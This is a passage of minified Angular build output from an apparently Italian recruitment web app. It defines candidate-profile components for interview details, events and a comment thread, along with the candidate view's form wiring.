this.fb.group({type_interview:[null],profPath:[null],availability_date:[null],ral:[null],desired_salary:[null],isSearchingJobCheck:[!1],isSearchingJobText:[null],prof_aspirations:[null],preavviso:[null],isAvailableTravel:[!1],hasCarCheck:[!1],hasCarText:[null],hasAmbitions:[!1],whyIsChangingJob:[null],col_industry:[[]],bonus:[null],launch_couponCheck:[!1],launch_couponText:[null],insuranceCheck:[!1],insuranceText:[null],ccnl:[null],clients_matching:[null],level:[null],soft_skills:[null],general_overview:[null],col_note:[null],externalReference:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||Ln)(z.Pb(C.e))},Ln.\u0275cmp=z.Jb({type:Ln,selectors:[["app-candidate-view-edit-colloquio"]],features:[z.zb],decls:19,vars:15,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-12"],[1,"row"],[1,"col-md-6"],[1,"row","mb-switch"],[1,"col-md-10"],[1,"card-body__title","d-inline"],[1,"col-md-2"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","isAvailableTravel",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["type","checkbox","formControlName","hasAmbitions",1,"toggle-switch__checkbox"],["type","checkbox","formControlName","hasCarCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","hasCarText",3,"readonly","ngClass"],[1,"form-group__bar"],["type","checkbox","formControlName","launch_couponCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","launch_couponText",3,"readonly","ngClass"],["type","checkbox","formControlName","isSearchingJobCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","isSearchingJobText",3,"readonly","ngClass"],["type","checkbox","formControlName","insuranceCheck",1,"toggle-switch__checkbox"],["type","text","formControlName","insuranceText",3,"readonly","ngClass"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","bindValue","name","placeholder","","formControlName","type_interview",3,"items","ngClass","addTag","addTagText"],["formControlName","profPath","autosize","","placeholder","",3,"ngClass"],[1,"invalid-tooltip"],["placeholder","","mode","day","format","DD/MM/YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","number","formControlName","ral",3,"ngClass"],["type","text","formControlName","ccnl",3,"ngClass"],["type","text","formControlName","desired_salary",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","level",3,"items","ngClass"],["type","number","formControlName","bonus",3,"ngClass"],["type","text","formControlName","whyIsChangingJob",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","col_industry",3,"items","ngClass","addTag","multiple","addTagText"],["type","text","formControlName","clients_matching",3,"ngClass"],["type","text","formControlName","soft_skills",3,"ngClass"],["type","text","formControlName","preavviso",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","general_overview",3,"items","ngClass"],["type","text","formControlName","externalReference",3,"ngClass"],["formControlName","prof_aspirations","autosize","","maxlength","100","placeholder","",3,"ngClass"],["formControlName","col_note","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,An,217,168,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,7,"Colloquio")," "),z.Cb(2),z.nc("ngClass",z.rc(13,En,t.rowStyle)),z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,9,"Aggiungi colloquio")," "),z.Cb(4),z.Kc("",z.ic(18,11,"Rimuovi Colloqui Vuoti")," "))},directives:[S.l,Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.a,C.n,C.g,C.c,A.a,g.a,T.a,C.r,C.k],pipes:[E.c],encapsulation:2}),Ln);function Kn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",29),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",30),z.Ub()}if(2&e){var n=z.gc(2);z.nc("hidden",!n._isInEdit)}}var Mn=function(e){return["form-control",e]},Pn=function(e){return["form-control","border-select",e]},Jn=function(e){return["form-control","textareaCustom",e]};function qn(e,t){if(1&e&&(z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",15),z.Vb(6,"span",16),z.Qb(7,"i",17),z.Ub(),z.Gc(8,Kn,2,1,"span",18),z.Ub(),z.Ub(),z.Vb(9,"div",19),z.Vb(10,"div",20),z.Vb(11,"h3",21),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",22),z.Qb(15,"input",23),z.Qb(16,"i",24),z.Ub(),z.Ub(),z.Vb(17,"div",20),z.Vb(18,"h3",21),z.Ic(19),z.hc(20,"translate"),z.Ub(),z.Vb(21,"div",22),z.Qb(22,"ng-select",25),z.Ub(),z.Qb(23,"i",24),z.Ub(),z.Vb(24,"div",20),z.Vb(25,"h3",21),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",22),z.Vb(29,"app-datetime-manager",26),z.cc("modelChange",function(e){return t.$implicit.controls.data_inizio.value=e}),z.Ub(),z.Qb(30,"i",24),z.Ub(),z.Ub(),z.Vb(31,"div",20),z.Vb(32,"h3",21),z.Ic(33),z.hc(34,"translate"),z.Ub(),z.Vb(35,"div",22),z.Vb(36,"app-datetime-manager",26),z.cc("modelChange",function(e){return t.$implicit.controls.data_fine.value=e}),z.Ub(),z.Qb(37,"i",24),z.Ub(),z.Ub(),z.Vb(38,"div",20),z.Vb(39,"h3",21),z.Ic(40),z.hc(41,"translate"),z.Ub(),z.Vb(42,"div",22),z.Qb(43,"input",27),z.Qb(44,"i",24),z.Ub(),z.Ub(),z.Vb(45,"div",4),z.Vb(46,"h3",21),z.Ic(47),z.hc(48,"translate"),z.Ub(),z.Vb(49,"div",22),z.Vb(50,"textarea",28),z.Ic(51,"                            "),z.Ub(),z.Qb(52,"i",24),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.titolo.value?i.controls.titolo.value+(i.controls.tipologia.value?" ("+i.controls.tipologia.value+")":""):z.ic(4,20,"Evento")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(3),z.Jc(z.ic(13,22,"Titolo")),z.Cb(3),z.nc("ngClass",z.rc(34,Mn,a.validateField("titolo",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(20,24,"Tipologia")," "),z.Cb(3),z.nc("items",a.options.tipologiaOption)("ngClass",z.rc(36,Pn,a.validateField("tipologia",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(27,26,"Data Inizio")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.data_inizio.value)("inputClass",z.rc(38,Mn,a.validateField("data_inizio",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(34,28,"Data Fine")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.data_fine.value)("inputClass",z.rc(40,Mn,a.validateField("data_fine",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(41,30,"Link Evento")),z.Cb(3),z.nc("ngClass",z.rc(42,Mn,a.validateField("link_evento",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(48,32,"Contenuto")),z.Cb(3),z.nc("ngClass",z.rc(44,Jn,a.validateField("contenuto",i,a.isInEdit)))}}var Gn,jn=((Gn=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray")}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({titolo:[null],tipologia:[null],data_inizio:[null],data_fine:[null],link_evento:[null],contenuto:[null]})}},{key:"ngOnInit",value:function(){}}]),n}(le.a)).\u0275fac=function(e){return new(e||Gn)(z.Pb(C.e))},Gn.\u0275cmp=z.Jb({type:Gn,selectors:[["app-candidate-view-edit-evento"]],features:[z.zb],decls:19,vars:11,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[1,"row"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","titolo",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","name","placeholder","","formControlName","tipologia",3,"items","ngClass"],["placeholder","","mode","day","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","link_evento",3,"ngClass"],["formControlName","contenuto","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,qn,53,46,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,5,"Eventi")," "),z.Cb(5),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,7,"Aggiungi Evento")," "),z.Cb(4),z.Kc("",z.ic(18,9,"Rimuovi Eventi Vuoti")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.c,C.n,C.g,S.l,A.a,T.a,g.a],pipes:[E.c],styles:[""]}),Gn);function Dn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",22),z.Vb(1,"input",23),z.cc("ngModelChange",function(e){return z.Ac(i),z.gc().searchMessage=e})("ngModelChange",function(e){return z.Ac(i),z.gc().filterMessages(e)}),z.Ub(),z.Vb(2,"i",24),z.cc("click",function(){return z.Ac(i),z.gc().messagesSearch=!1}),z.Ub(),z.Ub()}if(2&e){var n=z.gc();z.Cb(1),z.nc("ngModel",n.searchMessage)}}function Rn(e,t){if(1&e&&z.Qb(0,"img",30),2&e){var i=z.gc().$implicit,n=z.gc();z.nc("src","./assets/demo/img/profile-pics/"+n.contactList[i.senderMail],z.Cc)}}function Wn(e,t){1&e&&z.Qb(0,"img",31)}function $n(e,t){if(1&e&&(z.Vb(0,"div",25),z.Gc(1,Rn,1,1,"img",26),z.Gc(2,Wn,1,0,"img",27),z.Vb(3,"div",28),z.Vb(4,"p"),z.Ic(5),z.Ub(),z.Vb(6,"small"),z.Qb(7,"i",29),z.Ic(8),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=z.gc();z.Hb("messages__item--right",i.senderMail==n.senderMail),z.Cb(1),z.nc("ngIf",n.contactList[i.senderMail]),z.Cb(1),z.nc("ngIf",!n.contactList[i.senderMail]),z.Cb(3),z.Jc(i.text),z.Cb(3),z.Kc(" ",i.time," ")}}var Bn,Yn=((Bn=function(){function t(){b(this,t),this.messagesList=[],this.messagesListFiltered=[],this.senderMail=null,this.senderName=null,this.senderTitle=null,this.title="Message List",this.createCandidateComment=new z.n,this.messagesSearch=!1,this.pendingScroll=!1,this.outgoingMessage="",this.searchMessage="",this.messageLongerThanZero=!1,this.contactList={"luca.lambiase@modis.com":"4.jpg","roland@modis.com":"3.jpg","angelo@modis.com":"2.jpg"}}return m(t,[{key:"messages",set:function(e){e&&e.length&&(this.messagesList=this.parse(e,this.fields),this.messagesListFiltered=this.messagesList,this.pendingScroll=!0)}},{key:"ngOnInit",value:function(){console.log("currentUser:",this.senderMail)}},{key:"ngAfterViewChecked",value:function(){this.pendingScroll&&(this.scrollMessagesTo(),this.pendingScroll=!1)}},{key:"scrollMessagesTo",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=document.getElementById("messages-container").clientHeight,i=document.querySelector("#messages-container #scrollable").scrollHeight;null===e&&(e=0,t&&i&&i>t&&(e=i-t)),document.querySelector("#messages-container").scrollTo(0,e+1e3)}},{key:"parse",value:function(e,t){var i=[];if(e&&t){var n,a=c(e);try{for(a.s();!(n=a.n()).done;){var o=n.value;i.push(this.parseIngoingMessage(o,t))}}catch(r){a.e(r)}finally{a.f()}}return i}},{key:"parseIngoingMessage",value:function(t,i){for(var n=new hi,a=0,o=Object.entries(i);a<o.length;a++){var r=e(o[a],2),c=r[0],l=r[1];if("time"!=c)n[c]=t[l];else{var s=new Date(t[l]);console.log("message[value]",t[l]),n[c]=s.toLocaleDateString()+" - "+s.toLocaleTimeString()}}return n}},{key:"parseOutgoingMessage",value:function(t,i){for(var n={},a=0,o=Object.entries(i);a<o.length;a++){var r=e(o[a],2),c=r[0];n[r[1]]="time"!=c?t[c]:null}return n}},{key:"inviaCommento",value:function(){var e={text:this.outgoingMessage,time:(new Date).toLocaleDateString()+" - "+(new Date).toLocaleTimeString(),senderMail:this.senderMail,senderName:this.senderName,senderTitle:this.senderTitle};this.messagesList.push(e),this.messagesListFiltered=this.messagesList,this.searchMessage="",this.messagesSearch=!1,this.pendingScroll=!0,this.createCandidateComment.emit(this.parseOutgoingMessage(e,this.fields)),this.outgoingMessage=null}},{key:"filterMessages",value:function(e){this.messagesListFiltered=this.messagesList.filter(function(t){return!(!t||!t.text)&&t.text.indexOf(e)>=0})}}]),t}()).\u0275fac=function(e){return new(e||Bn)},Bn.\u0275cmp=z.Jb({type:Bn,selectors:[["app-message-manager"]],inputs:{messages:"messages",fields:"fields",senderMail:"senderMail",senderName:"senderName",senderTitle:"senderTitle",title:"title"},outputs:{createCandidateComment:"createCandidateComment"},decls:25,vars:8,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[1,"content__inner"],[1,"messages"],[1,"messages__body"],[1,"messages__header"],[1,"toolbar","toolbar--inner","mb-0"],[1,"toolbar__label"],[1,"actions","toolbar__actions"],[1,"actions__item","zmdi","zmdi-search",3,"click"],["class","toolbar__search",4,"ngIf"],["id","messages-container",1,"messages__content"],["id","scrollable"],["class","messages__item",3,"messages__item--right",4,"ngFor","ngForOf"],[1,"messages__reply","mt-2"],[1,"row","p-0","m-0"],[1,"col-md-11","p-0"],["autosize","","placeholder","Type a comment...",1,"h-100","w-100","messages__reply__text","textAreaCustom",3,"ngModel","ngModelChange"],[1,"col-md-1","p-0","pr-4","text-right","align-self-center"],[1,"btn","btn-orange","btn-send-msg","text-right",3,"disabled","click"],[1,"zmdi","zmdi-mail-send","zmdi-hc-lg"],[1,"toolbar__search"],["type","text","placeholder","Search...",3,"ngModel","ngModelChange"],[1,"toolbar__search__close","zmdi","zmdi-long-arrow-left",3,"click"],[1,"messages__item"],["class","avatar-img","alt","",3,"src",4,"ngIf"],["src","./assets/demo/img/profile-pics/1.jpg","class","avatar-img","alt","",4,"ngIf"],[1,"messages__details"],[1,"zmdi","zmdi-time"],["alt","",1,"avatar-img",3,"src"],["src","./assets/demo/img/profile-pics/1.jpg","alt","",1,"avatar-img"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"div",5),z.Vb(8,"div",6),z.Vb(9,"div",7),z.Vb(10,"div",8),z.Ic(11),z.Ub(),z.Vb(12,"div",9),z.Vb(13,"i",10),z.cc("click",function(){return t.messagesSearch=!0}),z.Ub(),z.Ub(),z.Gc(14,Dn,3,1,"div",11),z.Ub(),z.Ub(),z.Vb(15,"div",12),z.Vb(16,"div",13),z.Gc(17,$n,9,6,"div",14),z.Ub(),z.Ub(),z.Vb(18,"div",15),z.Vb(19,"div",16),z.Vb(20,"div",17),z.Vb(21,"textarea",18),z.cc("ngModelChange",function(e){return t.outgoingMessage=e}),z.Ub(),z.Ub(),z.Vb(22,"div",19),z.Vb(23,"button",20),z.cc("click",function(){return t.inviaCommento()}),z.Qb(24,"i",21),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,6,"Commenti")," "),z.Cb(8),z.Jc(t.title),z.Cb(3),z.nc("ngIf",t.messagesSearch),z.Cb(3),z.nc("ngForOf",t.messagesListFiltered),z.Cb(4),z.nc("ngModel",t.outgoingMessage),z.Cb(2),z.nc("disabled",null==t.outgoingMessage||t.outgoingMessage.trim().length<1))},directives:[S.n,S.m,C.c,C.n,C.q],pipes:[E.c],styles:['@charset "UTF-8";.messages[_ngcontent-%COMP%]{display:flex;flex-direction:row;background-color:#fff;border-radius:2px;box-shadow:0 1px 2px rgba(0,0,0,.075);height:400px}.messages__search[_ngcontent-%COMP%]{padding:0 2.2rem;position:relative;flex-shrink:0}.messages__search[_ngcontent-%COMP%]   .form-group[_ngcontent-%COMP%]:before{font-family:Material-Design-Iconic-Font;content:"\uf1c3";font-size:1.3rem;position:absolute;left:0;bottom:.15rem}.messages__search[_ngcontent-%COMP%]   .form-control[_ngcontent-%COMP%]{padding-left:2rem}.messages__body[_ngcontent-%COMP%]{flex:2;flex-direction:column;display:flex}.messages__header[_ngcontent-%COMP%], .messages__reply[_ngcontent-%COMP%]{flex:0 0 auto}.messages__content[_ngcontent-%COMP%]{position:relative;flex:1 1 auto;overflow-x:hidden;overflow-y:auto;height:100%;padding:unset!important;margin-right:2px}div#messages-container[_ngcontent-%COMP%]::-webkit-scrollbar{width:6px}div#messages-container[_ngcontent-%COMP%]::-webkit-scrollbar-track{background-color:transparent;border-radius:5px}div#messages-container[_ngcontent-%COMP%]::-webkit-scrollbar-track:hover{background-color:#ddd}div#messages-container[_ngcontent-%COMP%]::-webkit-scrollbar-thumb{background-color:#ffb81c;border-radius:2.5px;border:1px solid orange}.messages__item[_ngcontent-%COMP%]{display:flex;margin-bottom:2rem}@media (min-width:768px){.messages__item[_ngcontent-%COMP%]{padding:0 2rem}}@media (max-width:767.98px){.messages__item[_ngcontent-%COMP%]{padding:0 1.5rem}}.messages__item[_ngcontent-%COMP%]:not(.messages__item--right){flex-direction:row}.messages__item[_ngcontent-%COMP%]:not(.messages__item--right)   .messages__details[_ngcontent-%COMP%]{padding-left:1rem}.messages__item[_ngcontent-%COMP%]:first-child{margin-top:2em}.messages__details[_ngcontent-%COMP%]{max-width:500px}.messages__details[_ngcontent-%COMP%] > p[_ngcontent-%COMP%]{border-radius:2px;padding:1rem 1.3rem;margin-bottom:0;display:inline-block;text-align:left;color:#000;font-weight:100}.messages__details[_ngcontent-%COMP%] > p[_ngcontent-%COMP%] + p[_ngcontent-%COMP%]{margin-top:2px}.messages__details[_ngcontent-%COMP%] > small[_ngcontent-%COMP%]{display:block;margin-top:1rem;color:#9c9c9c;font-size:.9rem}.messages__details[_ngcontent-%COMP%] > small[_ngcontent-%COMP%] > .zmdi[_ngcontent-%COMP%]{font-size:1.2rem;vertical-align:middle;margin-right:.3rem}.messages__details[_ngcontent-%COMP%]:not(.messages__details--highlight) > p[_ngcontent-%COMP%]{background-color:#eee}.messages__item--right[_ngcontent-%COMP%]{flex-direction:row-reverse}.messages__item--right[_ngcontent-%COMP%]   .messages__details[_ngcontent-%COMP%]{text-align:right;padding-right:1rem}.messages__item--right[_ngcontent-%COMP%]   .messages__details[_ngcontent-%COMP%] > p[_ngcontent-%COMP%]{background-color:#343a40;font-weight:100;color:#fff;margin-left:auto}.messages__reply[_ngcontent-%COMP%]{border-top:1px solid #f6f6f6;position:relative}.messages__reply__text[_ngcontent-%COMP%]{resize:none;background-color:transparent;color:#495057;border:0;padding-left:2.2rem}.content__inner[_ngcontent-%COMP%]{max-width:unset!important}.btn-orange[_ngcontent-%COMP%], .swal2-styled.swal2-confirm[_ngcontent-%COMP%]{border-radius:50%}.btn-send-msg[_ngcontent-%COMP%]{width:40px;height:40px}.textAreaCustom[_ngcontent-%COMP%]{overflow-y:hidden}']}),Bn);function Hn(e,t){if(1&e&&(z.Vb(0,"div",10),z.Vb(1,"div",11),z.Vb(2,"div",12),z.Qb(3,"app-wizard-manager",13),z.Ub(),z.Ub(),z.Ub()),2&e){var i=z.gc();z.Cb(3),z.nc("config",i.configurazioneWizard)("currentStep",i.currentStatus)}}function Zn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",14),z.Vb(1,"div",15),z.Vb(2,"div",16),z.Vb(3,"app-timeline-manager",17),z.cc("stepChange",function(e){return z.Ac(i),z.gc().setCurrentStep(e)}),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=z.gc();z.Cb(3),z.nc("config",n.configurazioneTimeline)("currentStep",n.currentStep)}}function Xn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"button",22),z.cc("click",function(){return z.Ac(i),z.gc(2).saveForm()}),z.hc(1,"translate"),z.Qb(2,"i",23),z.Ic(3),z.hc(4,"translate"),z.Ub()}2&e&&(z.nc("tooltip",z.ic(1,2,"Salva le modifiche")),z.Cb(3),z.Kc("",z.ic(4,4,"Salva")," "))}function ea(e,t){if(1&e){var i=z.Wb();z.Vb(0,"button",24),z.cc("click",function(){return z.Ac(i),z.gc(2).isInEdit=!0}),z.hc(1,"translate"),z.Qb(2,"i",25),z.Ic(3),z.hc(4,"translate"),z.Ub()}2&e&&(z.nc("tooltip",z.ic(1,2,"Abilita Modifica")),z.Cb(3),z.Kc("",z.ic(4,4,"Modifica")," "))}function ta(e,t){if(1&e){var i=z.Wb();z.Vb(0,"button",26),z.cc("click",function(){return z.Ac(i),z.gc(2).isInEdit=!1}),z.hc(1,"translate"),z.Qb(2,"i",27),z.Ic(3),z.hc(4,"translate"),z.Ub()}2&e&&(z.nc("tooltip",z.ic(1,2,"Passa alla visualizzazione")),z.Cb(3),z.Kc("",z.ic(4,4,"Sola lettura")," "))}function ia(e,t){if(1&e&&(z.Vb(0,"div",18),z.Gc(1,Xn,5,6,"button",19),z.Gc(2,ea,5,6,"button",20),z.Gc(3,ta,5,6,"button",21),z.Ub()),2&e){var i=z.gc();z.Cb(1),z.nc("ngIf",1==i.isInEdit),z.Cb(1),z.nc("ngIf",0==i.isInEdit),z.Cb(1),z.nc("ngIf",1==i.isInEdit)}}function na(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",28),z.Vb(1,"div",11),z.Vb(2,"div",29),z.Vb(3,"form",30),z.Vb(4,"app-candidate-view-edit-anagrafica",31),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.anagrafica=e}),z.Ub(),z.Vb(5,"app-candidate-view-edit-istruzione",32),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.educations=e}),z.Ub(),z.Vb(6,"app-candidate-view-edit-lingue",33),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.languages=e}),z.Ub(),z.Vb(7,"app-candidate-view-edit-skills",34),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.skills=e}),z.Ub(),z.Vb(8,"app-candidate-view-edit-soft-skills",35),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.softSkills=e}),z.Ub(),z.Vb(9,"app-candidate-view-edit-formazione",36),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.trainings=e}),z.Ub(),z.Vb(10,"app-candidate-view-edit-esperienza",37),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.experiences=e}),z.Ub(),z.Vb(11,"app-candidate-view-edit-allegati",38),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.attachments=e}),z.Ub(),z.Vb(12,"app-candidate-view-edit-colloquio",39),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.interviews=e}),z.Ub(),z.Vb(13,"app-candidate-view-edit-evento",40),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.events=e}),z.Ub(),z.Vb(14,"app-message-manager",41),z.cc("createCandidateComment",function(e){return z.Ac(i),z.gc().createCandidateComment(e)}),z.hc(15,"translate"),z.hc(16,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=z.gc();z.Cb(3),z.nc("formGroup",n.insertForm),z.Cb(1),z.nc("form",n.insertForm.controls.anagrafica)("options",n.anagraficaFormOptions)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.educations)("options",n.istruzioneFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.languages)("options",n.lingueFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.skills)("options",n.skillsFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.softSkills)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.trainings)("options",n.formazioneFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.experiences)("options",n.esperienzaFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.attachments)("options",n.allegatiFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.interviews)("options",n.colloquioFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("form",n.insertForm.controls.events)("options",n.eventoFormOptions)("removeEmpty",n.removeEmptyFormGroup)("isInEdit",n.isInEdit),z.Cb(1),z.nc("messages",n.commentsMessages)("fields",n.commentsFields)("senderMail",n.currentUserMail)("senderName",n.currentUserName)("senderTitle",n.currentUserTitle)("title",z.ic(15,44,"Commenti per ")+(n.candidateName?n.candidateName:z.ic(16,46,"Candidato")))}}var aa,oa,ra=((aa=function(){function e(t,i,n,a,o,r,c,l){var s=this;b(this,e),this.candidateService=i,this.router=n,this.route=a,this.translate=o,this.utilsService=r,this.growService=c,this.authorizationService=l,this.configurazioneWizard=[],this.candidateStatus="",this.currentUserMail=null,this.currentUserName=null,this.currentUserTitle=null,this.fileToUpload=null,this.contactDefaultImg="./assets/demo/img/contacts/user_empty.png",this.dropzoneCfgAnagrafica={url:x.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},this.isInEdit=!1,this.isInChat=!1,this.settingsGUIJsonUpload={gui:{showTableAttach:!0,showUploadAttach:!0}},this.settingsDataJsonUpload={data:{userType:"candidate",fixedCategory:"CV",showDropCategory:"",showCompactTable:!1,requestFilters:{id_file:"",id_candidate:"",category:"CV"}}},this.currentStep="anagrafica",this.formList=["educations","languages","skills","trainings","experiences","attachments","interviews","events"],this.scrollHandler=function(e){var t=window.innerHeight/2,i=window.scrollY,n=[];s.configurazioneTimeline.forEach(function(e){var t=document.getElementById(e.step);t&&n.push({step:e.step,distanza:i-t.offsetTop})}),(n=n.filter(function(e){return e.distanza>-t&&e.distanza<t}).sort(function(e,t){return 